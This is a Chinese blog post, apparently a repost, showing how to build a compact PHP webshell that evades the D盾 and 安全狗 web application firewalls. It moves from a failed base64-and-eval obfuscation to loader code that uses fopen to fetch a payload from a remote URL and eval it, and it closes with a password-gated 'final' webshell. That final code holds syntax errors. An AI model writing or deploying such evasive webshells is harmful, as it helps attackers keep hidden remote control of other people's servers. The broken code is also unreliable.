• 打造一款1kb大马并且处理D盾以及安全狗拦截与查杀


    在之前sky666提到了关于大马被waf拦的问题,我决定手动去过一下bypass。可是发现怎么也过不去查杀,更别说拦截了。对此无奈,只好花了个通宵去处理一下。顺便一提,理论过所有Waf,并且被杀只需要稍微处理一下依旧可用。

    Prat 1 目录

    一:base64编码,处理eval函数进行绕过(失败)
    二:巧妙利用fopen函数绕过waf
    三:fopen函数处理eval拦截问题
    四:对此次一次总结

    Prat 2

    起源base64编码,处理eval函数进行绕过(失败)

    之前一份大马中,发现进行base64编码过后,查杀的是已知后门,而不是查杀某个函数
    于是决定开端先处理一下eval看看能不能进行绕过

    1.png

    eval直接执行base64解码

    可以成功执行,但是被D盾报4级,这样肯定是不行的

    2.png

    base64编码思路宣告失败

    发现D盾似乎对base64_decode()函数独有情钟- -#
    不管怎么处理只能处理到二级,安全狗倒是已经过去了

    3.png

    <?php
    $a = 'base64编码过后';
    $c = base64_decode($a);
    eval($d = $c);
    ?>

    4.png

    Prat 3 失落

    巧妙利用fopen函数绕过waf

    发现base64思路惨败D盾过后,抽了支烟,说了一句D盾你个禽兽
    不过失败是成功他亲爹,只好继续想新思路。
    之前写过一篇水文,叫做隐藏在黑页下的大马
    不过被挺多人喷的,其实这篇文章只是另外一种思路的铺垫,不过因为没人支持,也就没有写下去了。
    这篇文章中用了php_curl函数,不过利用门槛比较高,于是查了一下等价函数。
    首先我们来看一下fopen函数
    fopen() //fopen()函数打开文件或者 URL。

    思路

    通过fopen打开远程url的txt文件存入一个变量中,在执行。
    说干就干,首先把一份大马去掉<?以及?>
    然后存入一个txt中,确保打开的时候能打开。
    可能这里就有人问了,txt放哪里?
    这里我只想说,心里没点B数?

    大马地址:http://127.0.0.1/bh/test.txt

    举个例子:

    <?php 
    $handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r');
    $content1 = '';
                    while(false != ($a1 = fread($handle1, 8080))){
                            $content1 .= $a1;
                            }
                            echo $content1;
                    fclose($handle1);
    ?>

    5.png

    发现已经获取成功了,那么我们只需要eval执行一下就可以了

    <?php 
    $handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r');
    $content1 = '';
                    while(false != ($a1 = fread($handle1, 8080))){
                            $content1 .= $a1;
                            }
                            eval($content1);
                    fclose($handle1);
    ?>

    6.png

    首先看一下安全狗是否拦截

    大马地址:http://192.168.1.110/bh/test.txt
    webshell地址:192.168.1.104/test/php.php

    7.png

    ok,可以看见安全狗以及绕过了,并且可以正常使用
    补一张没做过处理大马访问图

    8.png

    不过问题来了,D盾报一级拦截,我顿时想说mmp。

    9.png

    之前处理一句话的时候,也是经常报我一级- -#
    继续抽了支烟,然后继续处理这个错误

    Prat 4 希望

    fopen函数处理eval拦截问题这里没什么思路完全是因为bypass小分队的大佬帮我处理的。

    10.png

    贴一下最后成品代码

    <?php
    error_reporting(E_ERROR);
    if(isset(isset($_GET['submit']) && $_GET['pass'] == "admin"){
            if($_POST[$_GET['test'] == "test"){
                    $handle1 = fopen('http://127.0.0.1/bh/test2.txt', 'r');
                    $content1 = '';
                    while(false != ($a1 = fread($handle1, 8080))){
                            $content1 .= $a1;
                            }
                            print(eval($a1=$content1));
                    fclose($handle1);
            }
            $handle = fopen('http://127.0.0.1/bh/test.txt', 'r');
        $content = '';
        while(false != ($a = fread($handle, 8080))){
            $content .= $a;
        }
                    print(eval($a=$content));
    fclose($handle);
    }
    ?>

    一句话地址:http://127.0.0.1/bh/test2.txt
    webshell地址:http://127.0.0.1/bh/test.txt

    11.png

    说一下代码

    if(isset($_GET['submit']) && $_GET['pass'] == "admin")

    这一部分是验证部分,但是懒得写好看的登陆口,直接获取了下GET传值做判断,为了防爆破多写了一个

    if($_POST[$_GET['test'] == "test")

    这一部分是用来进入一句话的,当然你也可以删掉

    再来说说处理eval一级,其实很简单,我也是bypass小分队老司机说了才知道的~~~

    eval($a1=$content1);

    看这一行代码,相信大家就已经知道了。 :-) :-) :-)

    Prat 5 总结

    前人失效的思路不代表着没有继续扩展的意义。
    多想多做多实战,发现其实waf也就那回事。
    无非就是在原有的基础上加了几行代码。

  • 相关阅读:
    PetShop数据访问层之消息处理 《解剖PetShop》系列之三
    正则过滤汉字
    c语言 断点续传3
    c 写cgi 与socket通信
    C 语言 断点续传2
    承接B2C商城定制开发 空间+域名+风语商城系统=¥4000
    16进制 SQL注入
    c# socket传送大文件
    c写cgi cookies 设置与读取
    cgi 操作封装
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/7737704.html
Copyright © 2020-2023  润新知